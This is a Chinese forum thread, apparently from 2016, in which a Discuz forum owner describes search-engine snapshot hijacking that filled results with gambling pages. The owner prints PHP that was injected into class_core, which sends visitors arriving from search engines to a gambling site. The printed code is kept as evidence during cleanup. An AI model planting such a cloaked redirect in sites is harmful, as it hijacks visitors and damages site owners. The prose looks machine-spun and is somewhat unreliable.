最新快照劫持及网页篡改网站入侵挂马问题

七彩的风车

【如内容违法或虚假，请联系上述邮件删除】本帖最后由 张教员101 于 2016-12-25 22:29 编辑

dz3.2论坛发现网站快照搜索引擎收录，同本网站内容不分歧,百度和360以及搜狗都收录了大量本站不存在的帖子，论坛一切帖子和回复都是人工审核的，不可能呈现收录的这种博彩类信息。百度收录的快照都点进去不存在，360收录的快照点进去有的是真是的帖子，但和快照内容不一样（帖子内容被交流），有的从搜索引擎点击跳转到一个博彩网站，后检查代码删除一段代码后，不跳转了。
如site:www.op5u.com,呈现一堆博彩网站

后来又发现，用百度和360站在工具模仿抓取依然一切文件头部都被插入了链接


技术小白，第一次碰到这种问题，然后在官网上各种查以前朋友遇到是怎样处置的。后台检验文件什么的，经过检查对比文件发现以下几处异常
一、class_core文件头部插入跳转代码
error_reporting(E_ALL);
@error_reporting(1);
@$ref = strtolower($_SERVER['HTTP_REFERER']);
@$jump_ref  = explode("|","haoso.|so.|haosou.|google.|soso.");
foreach($jump_ref as $r){
        $r = trim($r);
        if(stristr($ref,$r)){
                if($_GET['tid']>50000){
                        header('Location: http://www.yzx002.com/?op5u');
                        die();
                }
        }
}复制代码
追加，经过不时排查代码 基本上找到肃清完了歹意代码，目前收录逐步恢复中。。。(关注老榕树网络旗下“网络思维”微信公众号:wlsw360 (每天都有好文章)

 

                                                   本帖如有虚假或违法，请联系邮箱删除，本社区删贴不收任何费用，欢迎举报。老榕树社区属老榕树网络旗下网站，旨在为老榕树用户提供创业咨询、网站建设技术交流、源码下载、提供各种实用工具。如有部分帖子涉及违法、虚假，请你第一时间与社区联系，把需要删除的社区链接提供给我们，我们核实之后，第一时间删除。邮箱：125175998@qq.com

桃之夭夭妞妞

不会是哪里设置的问题吧。

紫微真人001

补丁打到最新

如何可以重来

设置文件权限即可。

aslongxing

跟你一样，到往常还不知道缘由。。修正了，没几个小时又恢复。。往常是更新缓存，就正常，几个小时后又被劫持。。

小晓的我崭

chbigeye 发表于 2016-12-16 15:07
跟你一样，到往常还不知道缘由。。修正了，没几个小时又恢复。。往常是更新缓存，就正常，几个小时后又被劫 ...
效劳器中毒了 尽快清算哦

自信的文盲

chbigeye 发表于 2016-12-16 15:07
跟你一样，到往常还不知道缘由。。修正了，没几个小时又恢复。。往常是更新缓存，就正常，几个小时后又被劫 ...
我的基本上处置了，收录恢复更新中

原来我也可以20

张教员101 发表于 2016-12-17 09:51
我的基本上处置了，收录恢复更新中
我的QQ：198587 ，省事你加下，有问题想讨教！